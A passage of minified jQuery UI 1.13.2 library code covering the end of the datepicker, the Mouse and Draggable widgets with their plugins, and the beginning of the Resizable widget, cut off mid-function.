t=="string"&&(t==="isDisabled"||t==="getDate"||t==="widget")?n.datepicker["_"+t+"Datepicker"].apply(n.datepicker,[this[0]].concat(i)):t==="option"&&arguments.length===2&&typeof arguments[1]=="string"?n.datepicker["_"+t+"Datepicker"].apply(n.datepicker,[this[0]].concat(i)):this.each(function(){typeof t=="string"?n.datepicker["_"+t+"Datepicker"].apply(n.datepicker,[this].concat(i)):n.datepicker._attachDatepicker(this,t)})};n.datepicker=new ft;n.datepicker.initialized=!1;n.datepicker.uuid=(new Date).getTime();n.datepicker.version="1.13.2";sr=n.datepicker;hr=n.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());
/*!
 * jQuery UI Mouse 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
s=!1;n(document).on("mouseup",function(){s=!1});var tu=n.widget("ui.mouse",{version:"1.13.2",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,function(n){return t._mouseDown(n)}).on("click."+this.widgetName,function(i){if(!0===n.data(i.target,t.widgetName+".preventClickEvent"))return n.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1});this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName);this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!s){this._mouseMoved=!1;this._mouseStarted&&this._mouseUp(t);this._mouseDownEvent=t;var i=this,r=t.which===1,u=typeof this.options.cancel=="string"&&t.target.nodeName?n(t.target).closest(this.options.cancel).length:!1;if(!r||u||!this._mouseCapture(t))return!0;if(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(t)!==!1,!this._mouseStarted))return t.preventDefault(),!0;!0===n.data(t.target,this.widgetName+".preventClickEvent")&&n.removeData(t.target,this.widgetName+".preventClickEvent");this._mouseMoveDelegate=function(n){return i._mouseMove(n)};this._mouseUpDelegate=function(n){return i._mouseUp(n)};this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate);return t.preventDefault(),s=!0,!0}},_mouseMove:function(t){if(this._mouseMoved){if(n.ui.ie&&(!document.documentMode||document.documentMode<9)&&!t.button)return this._mouseUp(t);if(!t.which)if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(t)}return((t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted)?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,t)!==!1,this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate);this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&n.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t));this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer);this.ignoreMissingWhich=!1;s=!1;t.preventDefault()},_mouseDistanceMet:function(n){return Math.max(Math.abs(this._mouseDownEvent.pageX-n.pageX),Math.abs(this._mouseDownEvent.pageY-n.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),iu=n.ui.plugin={add:function(t,i,r){var u,f=n.ui[t].prototype;for(u in r)f.plugins[u]=f.plugins[u]||[],f.plugins[u].push([i,r[u]])},call:function(n,t,i,r){var u,f=n.plugins[t];if(f&&(r||n.element[0].parentNode&&n.element[0].parentNode.nodeType!==11))for(u=0;u<f.length;u++)n.options[f[u][0]]&&f[u][1].apply(n.element,i)}},ru=n.ui.safeBlur=function(t){t&&t.nodeName.toLowerCase()!=="body"&&n(t).trigger("blur")};
/*!
 * jQuery UI Draggable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.draggable",n.ui.mouse,{version:"1.13.2",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){this.options.helper==="original"&&this._setPositionRelative();this.options.addClasses&&this._addClass("ui-draggable");this._setHandleClassName();this._mouseInit()},_setOption:function(n,t){this._super(n,t);n==="handle"&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){if((this.helper||this.element).is(".ui-draggable-dragging")){this.destroyOnClear=!0;return}this._removeHandleClassName();this._mouseDestroy()},_mouseCapture:function(t){var i=this.options;return this.helper||i.disabled||n(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),!this.handle)?!1:(this._blurActiveElement(t),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=n(this);return n("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=n.ui.safeActiveElement(this.document[0]),r=n(t.target);r.closest(i).length||n.ui.safeBlur(i)},_mouseStart:function(t){var i=this.options;return(this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),n.ui.ddmanager&&(n.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return n(this).css("position")==="fixed"}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1)?(this._clear(),!1):(this._cacheHelperProportions(),n.ui.ddmanager&&!i.dropBehaviour&&n.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),n.ui.ddmanager&&n.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(n){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()};this.offset.click={left:n.pageX-this.offset.left,top:n.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var r=this._uiHash();if(this._trigger("drag",t,r)===!1)return this._mouseUp(new n.Event("mouseup",t)),!1;this.position=r.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",n.ui.ddmanager&&n.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var r=this,i=!1;return n.ui.ddmanager&&!this.options.dropBehaviour&&(i=n.ui.ddmanager.drop(this,t)),this.dropped&&(i=this.dropped,this.dropped=!1),this.options.revert==="invalid"&&!i||this.options.revert==="valid"&&i||this.options.revert===!0||typeof this.options.revert=="function"&&this.options.revert.call(this.element,i)?n(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){r._trigger("stop",t)!==!1&&r._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),n.ui.ddmanager&&n.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),n.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new n.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return this.options.handle?!!n(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element;this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var r=this.options,u=typeof r.helper=="function",i=u?n(r.helper.apply(this.element[0],[t])):r.helper==="clone"?this.element.clone().removeAttr("id"):this.element;return i.parents("body").length||i.appendTo(r.appendTo==="parent"?this.element[0].parentNode:r.appendTo),u&&i[0]===this.element[0]&&this._setPositionRelative(),i[0]===this.element[0]||/(fixed|absolute)/.test(i.css("position"))||i.css("position","absolute"),i},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(n){typeof n=="string"&&(n=n.split(" "));Array.isArray(n)&&(n={left:+n[0],top:+n[1]||0});"left"in n&&(this.offset.click.left=n.left+this.margins.left);"right"in n&&(this.offset.click.left=this.helperProportions.width-n.right+this.margins.left);"top"in n&&(this.offset.click.top=n.top+this.margins.top);"bottom"in n&&(this.offset.click.top=this.helperProportions.height-n.bottom+this.margins.top)},_isRootNode:function(n){return/(html|body)/i.test(n.tagName)||n===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return this.cssPosition==="absolute"&&this.scrollParent[0]!==i&&n.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition!=="relative")return{top:0,left:0};var n=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:n.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:n.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var f,t,i,r=this.options,u=this.document[0];if(this.relativeContainer=null,!r.containment){this.containment=null;return}if(r.containment==="window"){this.containment=[n(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,n(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,n(window).scrollLeft()+n(window).width()-this.helperProportions.width-this.margins.left,n(window).scrollTop()+(n(window).height()||u.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];return}if(r.containment==="document"){this.containment=[0,0,n(u).width()-this.helperProportions.width-this.margins.left,(n(u).height()||u.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];return}if(r.containment.constructor===Array){this.containment=r.containment;return}(r.containment==="parent"&&(r.containment=this.helper[0].parentNode),t=n(r.containment),i=t[0],i)&&(f=/(scroll|auto)/.test(t.css("overflow")),this.containment=[(parseInt(t.css("borderLeftWidth"),10)||0)+(parseInt(t.css("paddingLeft"),10)||0),(parseInt(t.css("borderTopWidth"),10)||0)+(parseInt(t.css("paddingTop"),10)||0),(f?Math.max(i.scrollWidth,i.offsetWidth):i.offsetWidth)-(parseInt(t.css("borderRightWidth"),10)||0)-(parseInt(t.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(f?Math.max(i.scrollHeight,i.offsetHeight):i.offsetHeight)-(parseInt(t.css("borderBottomWidth"),10)||0)-(parseInt(t.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=t)},_convertPositionTo:function(n,t){t||(t=this.position);var i=n==="absolute"?1:-1,r=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-(this.cssPosition==="fixed"?-this.offset.scroll.top:r?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-(this.cssPosition==="fixed"?-this.offset.scroll.left:r?0:this.offset.scroll.left)*i}},_generatePosition:function(n,t){var i,s,u,f,r=this.options,h=this._isRootNode(this.scrollParent[0]),e=n.pageX,o=n.pageY;return h&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,n.pageX-this.offset.click.left<i[0]&&(e=i[0]+this.offset.click.left),n.pageY-this.offset.click.top<i[1]&&(o=i[1]+this.offset.click.top),n.pageX-this.offset.click.left>i[2]&&(e=i[2]+this.offset.click.left),n.pageY-this.offset.click.top>i[3]&&(o=i[3]+this.offset.click.top)),r.grid&&(u=r.grid[1]?this.originalPageY+Math.round((o-this.originalPageY)/r.grid[1])*r.grid[1]:this.originalPageY,o=i?u-this.offset.click.top>=i[1]||u-this.offset.click.top>i[3]?u:u-this.offset.click.top>=i[1]?u-r.grid[1]:u+r.grid[1]:u,f=r.grid[0]?this.originalPageX+Math.round((e-this.originalPageX)/r.grid[0])*r.grid[0]:this.originalPageX,e=i?f-this.offset.click.left>=i[0]||f-this.offset.click.left>i[2]?f:f-this.offset.click.left>=i[0]?f-r.grid[0]:f+r.grid[0]:f),r.axis==="y"&&(e=this.originalPageX),r.axis==="x"&&(o=this.originalPageY)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(this.cssPosition==="fixed"?-this.offset.scroll.top:h?0:this.offset.scroll.top),left:e-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(this.cssPosition==="fixed"?-this.offset.scroll.left:h?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging");this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove();this.helper=null;this.cancelHelperRemoval=!1;this.destroyOnClear&&this.destroy()},_trigger:function(t,i,r){return r=r||this._uiHash(),n.ui.plugin.call(this,t,[i,r,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),r.offset=this.positionAbs),n.Widget.prototype._trigger.call(this,t,i,r)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}});n.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,r){var u=n.extend({},i,{item:r.element});r.sortables=[];n(r.options.connectToSortable).each(function(){var i=n(this).sortable("instance");i&&!i.options.disabled&&(r.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,u))})},stop:function(t,i,r){var u=n.extend({},i,{item:r.element});r.cancelHelperRemoval=!1;n.each(r.sortables,function(){var n=this;n.isOver?(n.isOver=0,r.cancelHelperRemoval=!0,n.cancelHelperRemoval=!1,n._storedCSS={position:n.placeholder.css("position"),top:n.placeholder.css("top"),left:n.placeholder.css("left")},n._mouseStop(t),n.options.helper=n.options._helper):(n.cancelHelperRemoval=!0,n._trigger("deactivate",t,u))})},drag:function(t,i,r){n.each(r.sortables,function(){var f=!1,u=this;u.positionAbs=r.positionAbs;u.helperProportions=r.helperProportions;u.offset.click=r.offset.click;u._intersectsWith(u.containerCache)&&(f=!0,n.each(r.sortables,function(){return this.positionAbs=r.positionAbs,this.helperProportions=r.helperProportions,this.offset.click=r.offset.click,this!==u&&this._intersectsWith(this.containerCache)&&n.contains(u.element[0],this.element[0])&&(f=!1),f}));f?(u.isOver||(u.isOver=1,r._parent=i.helper.parent(),u.currentItem=i.helper.appendTo(u.element).data("ui-sortable-item",!0),u.options._helper=u.options.helper,u.options.helper=function(){return i.helper[0]},t.target=u.currentItem[0],u._mouseCapture(t,!0),u._mouseStart(t,!0,!0),u.offset.click.top=r.offset.click.top,u.offset.click.left=r.offset.click.left,u.offset.parent.left-=r.offset.parent.left-u.offset.parent.left,u.offset.parent.top-=r.offset.parent.top-u.offset.parent.top,r._trigger("toSortable",t),r.dropped=u.element,n.each(r.sortables,function(){this.refreshPositions()}),r.currentItem=r.element,u.fromOutside=r),u.currentItem&&(u._mouseDrag(t),i.position=u.position)):u.isOver&&(u.isOver=0,u.cancelHelperRemoval=!0,u.options._revert=u.options.revert,u.options.revert=!1,u._trigger("out",t,u._uiHash(u)),u._mouseStop(t,!0),u.options.revert=u.options._revert,u.options.helper=u.options._helper,u.placeholder&&u.placeholder.remove(),i.helper.appendTo(r._parent),r._refreshOffsets(t),i.position=r._generatePosition(t,!0),r._trigger("fromSortable",t),r.dropped=!1,n.each(r.sortables,function(){this.refreshPositions()}))})}});n.ui.plugin.add("draggable","cursor",{start:function(t,i,r){var u=n("body"),f=r.options;u.css("cursor")&&(f._cursor=u.css("cursor"));u.css("cursor",f.cursor)},stop:function(t,i,r){var u=r.options;u._cursor&&n("body").css("cursor",u._cursor)}});n.ui.plugin.add("draggable","opacity",{start:function(t,i,r){var u=n(i.helper),f=r.options;u.css("opacity")&&(f._opacity=u.css("opacity"));u.css("opacity",f.opacity)},stop:function(t,i,r){var u=r.options;u._opacity&&n(i.helper).css("opacity",u._opacity)}});n.ui.plugin.add("draggable","scroll",{start:function(n,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1));i.scrollParentNotHidden[0]!==i.document[0]&&i.scrollParentNotHidden[0].tagName!=="HTML"&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,r){var u=r.options,o=!1,e=r.scrollParentNotHidden[0],f=r.document[0];e!==f&&e.tagName!=="HTML"?(u.axis&&u.axis==="x"||(r.overflowOffset.top+e.offsetHeight-t.pageY<u.scrollSensitivity?e.scrollTop=o=e.scrollTop+u.scrollSpeed:t.pageY-r.overflowOffset.top<u.scrollSensitivity&&(e.scrollTop=o=e.scrollTop-u.scrollSpeed)),u.axis&&u.axis==="y"||(r.overflowOffset.left+e.offsetWidth-t.pageX<u.scrollSensitivity?e.scrollLeft=o=e.scrollLeft+u.scrollSpeed:t.pageX-r.overflowOffset.left<u.scrollSensitivity&&(e.scrollLeft=o=e.scrollLeft-u.scrollSpeed))):(u.axis&&u.axis==="x"||(t.pageY-n(f).scrollTop()<u.scrollSensitivity?o=n(f).scrollTop(n(f).scrollTop()-u.scrollSpeed):n(window).height()-(t.pageY-n(f).scrollTop())<u.scrollSensitivity&&(o=n(f).scrollTop(n(f).scrollTop()+u.scrollSpeed))),u.axis&&u.axis==="y"||(t.pageX-n(f).scrollLeft()<u.scrollSensitivity?o=n(f).scrollLeft(n(f).scrollLeft()-u.scrollSpeed):n(window).width()-(t.pageX-n(f).scrollLeft())<u.scrollSensitivity&&(o=n(f).scrollLeft(n(f).scrollLeft()+u.scrollSpeed))));o!==!1&&n.ui.ddmanager&&!u.dropBehaviour&&n.ui.ddmanager.prepareOffsets(r,t)}});n.ui.plugin.add("draggable","snap",{start:function(t,i,r){var u=r.options;r.snapElements=[];n(u.snap.constructor!==String?u.snap.items||":data(ui-draggable)":u.snap).each(function(){var t=n(this),i=t.offset();this!==r.element[0]&&r.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,r){for(var e,o,s,h,c,a,l,v,w,b=r.options,f=b.snapTolerance,y=i.offset.left,k=y+r.helperProportions.width,p=i.offset.top,d=p+r.helperProportions.height,u=r.snapElements.length-1;u>=0;u--){if(c=r.snapElements[u].left-r.margins.left,a=c+r.snapElements[u].width,l=r.snapElements[u].top-r.margins.top,v=l+r.snapElements[u].height,k<c-f||y>a+f||d<l-f||p>v+f||!n.contains(r.snapElements[u].item.ownerDocument,r.snapElements[u].item)){r.snapElements[u].snapping&&r.options.snap.release&&r.options.snap.release.call(r.element,t,n.extend(r._uiHash(),{snapItem:r.snapElements[u].item}));r.snapElements[u].snapping=!1;continue}b.snapMode!=="inner"&&(e=Math.abs(l-d)<=f,o=Math.abs(v-p)<=f,s=Math.abs(c-k)<=f,h=Math.abs(a-y)<=f,e&&(i.position.top=r._convertPositionTo("relative",{top:l-r.helperProportions.height,left:0}).top),o&&(i.position.top=r._convertPositionTo("relative",{top:v,left:0}).top),s&&(i.position.left=r._convertPositionTo("relative",{top:0,left:c-r.helperProportions.width}).left),h&&(i.position.left=r._convertPositionTo("relative",{top:0,left:a}).left));w=e||o||s||h;b.snapMode!=="outer"&&(e=Math.abs(l-p)<=f,o=Math.abs(v-d)<=f,s=Math.abs(c-y)<=f,h=Math.abs(a-k)<=f,e&&(i.position.top=r._convertPositionTo("relative",{top:l,left:0}).top),o&&(i.position.top=r._convertPositionTo("relative",{top:v-r.helperProportions.height,left:0}).top),s&&(i.position.left=r._convertPositionTo("relative",{top:0,left:c}).left),h&&(i.position.left=r._convertPositionTo("relative",{top:0,left:a-r.helperProportions.width}).left));!r.snapElements[u].snapping&&(e||o||s||h||w)&&r.options.snap.snap&&r.options.snap.snap.call(r.element,t,n.extend(r._uiHash(),{snapItem:r.snapElements[u].item}));r.snapElements[u].snapping=e||o||s||h||w}}});n.ui.plugin.add("draggable","stack",{start:function(t,i,r){var f,e=r.options,u=n.makeArray(n(e.stack)).sort(function(t,i){return(parseInt(n(t).css("zIndex"),10)||0)-(parseInt(n(i).css("zIndex"),10)||0)});u.length&&(f=parseInt(n(u[0]).css("zIndex"),10)||0,n(u).each(function(t){n(this).css("zIndex",f+t)}),this.css("zIndex",f+u.length))}});n.ui.plugin.add("draggable","zIndex",{start:function(t,i,r){var u=n(i.helper),f=r.options;u.css("zIndex")&&(f._zIndex=u.css("zIndex"));u.css("zIndex",f.zIndex)},stop:function(t,i,r){var u=r.options;u._zIndex&&n(i.helper).css("zIndex",u._zIndex)}});cr=n.ui.draggable;
/*!
 * jQuery UI Resizable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.resizable",n.ui.mouse,{version:"1.13.2",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(n){return parseFloat(n)||0},_isNumber:function(n){return!isNaN(parseFloat(n))},_hasScroll:function(t,i){if(n(t).css("overflow")==="hidden")return!1;var r=i&&i==="left"?"scrollLeft":"scrollTop",u=!1;if(t[r]>0)return!0;try{t[r]=1;u=t[r]>0;t[r]=0}catch(f){}return u},_create:function(){var r,t=this.options,i=this;if(this._addClass("ui-resizable"),n.extend(this,{_aspectRatio:!!t.aspectRatio,aspectRatio:t.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:t.helper||t.ghost||t.animate?t.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(n("<div class='ui-wrapper'><\/div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,r={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(r),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(r),this._proportionallyResize()),this._setupHandles(),t.autoHide)n(this.element).on("mouseenter",function(){t.disabled||(i._removeClass("ui-resizable-autohide"),i._handles.show())}).on("mouseleave",function(){t.disabled||i.resizing||(i._addClass("ui-resizable-autohide"),i._handles.hide())});this._mouseInit()},_destroy:function(){this._mouseDestroy();this._addedHandles.remove();var t,i=function(t){n(t).removeData("resizable").removeData("ui-resizable").off(".resizable")};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_setOption:function(n,t){this._super(n,t);switch(n){case"handles":this._removeHandles();this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!t}},_setupHandles:function(){var u=this.options,i,r,f,o,t,e=this;if(this.handles=u.handles||(n(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=n(),this._addedHandles=n(),this.handles.constructor===String)for(this.handles==="all"&&(this.handles="n,e,s,w,se,sw,ne,nw"),f=this.handles.split(","),this.handles={},r=0;r<f.length;r++)i=String.prototype.trim.call(f[r]),o="ui-resizable-"+i,t=n("<div>"),this._addClass(t,"ui-resizable-handle "+o),t.css({zIndex:u.zIndex}),this.handles[i]=".ui-resizable-"+i,this.element.children(this.handles[i]).length||(this.element.append(t),this._addedHandles=this._addedHandles.add(t));this._renderAxis=function(t){var i,r,u,f;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=n(this.handles[i]),this._on(this.handles[i],{mousedown:e._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(r=n(this.handles[i],this.element),f=/sw|ne|nw|se|n|s/.test(i)?r.outerHeight():r.outerWidth(),u=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(u,f),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])};this._renderAxis(this.element);this._handles=this._handles.add(this.element.find(".ui-resizable-handle"));this._handles.disableSelection();this._handles.on("mouseover",function(){e.resizing||(this.className&&(t=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),e.axis=t&&t[1]?t[1]:"se")});u.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var r,i,u=!1;for(r in this.handles)i=n(this.handles[r])[0],(i===t.target||n.contains(i,t.target))&&(u=!0);return!this.options.disabled&&u},_mouseStart:function(t){var u,f,e,r=this.options,i=this.element;return this.resizing=!0,this._renderProxy(),u=this._num(this.helper.css("left")),f=this._num(this.helper.css("top")),r.containment&&(u+=n(r.containment).scrollLeft()||0,f+=n(r.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:u,top:f},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:i.width(),height:i.height()},this.originalSize=this._helper?{width:i.outerWidth(),height:i.outerHeight()}:{width:i.width(),height:i.height()},this.sizeDiff={width:i.outerWidth()-i.width(),height:i.outerHeight()-i.height()},this.originalPosition={left:u,top:f},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio=typeof r.aspectRatio=="number"?r.aspectRatio:this.originalSize.width/this.originalSize.height||1,e=n(".ui-resizable-"+this.axis).css("cursor"),n("body").css("cursor",e==="auto"?this.axis+"-resize":e),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i,r,u=this.originalMousePosition,e=this.axis,o=t.pageX-u.left||0,s=t.pageY-u.top||0,f=this._change[e];return(this._updatePrevProperties(),!f)?!1:(i=f.apply(this,[t,o,s]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),r=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),n.isEmptyObject(r)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges()),!1)},_mouseStop:function(t){this.resizing=!1;var r,u,f,e,o,s,h,c=this.options,i=this;return 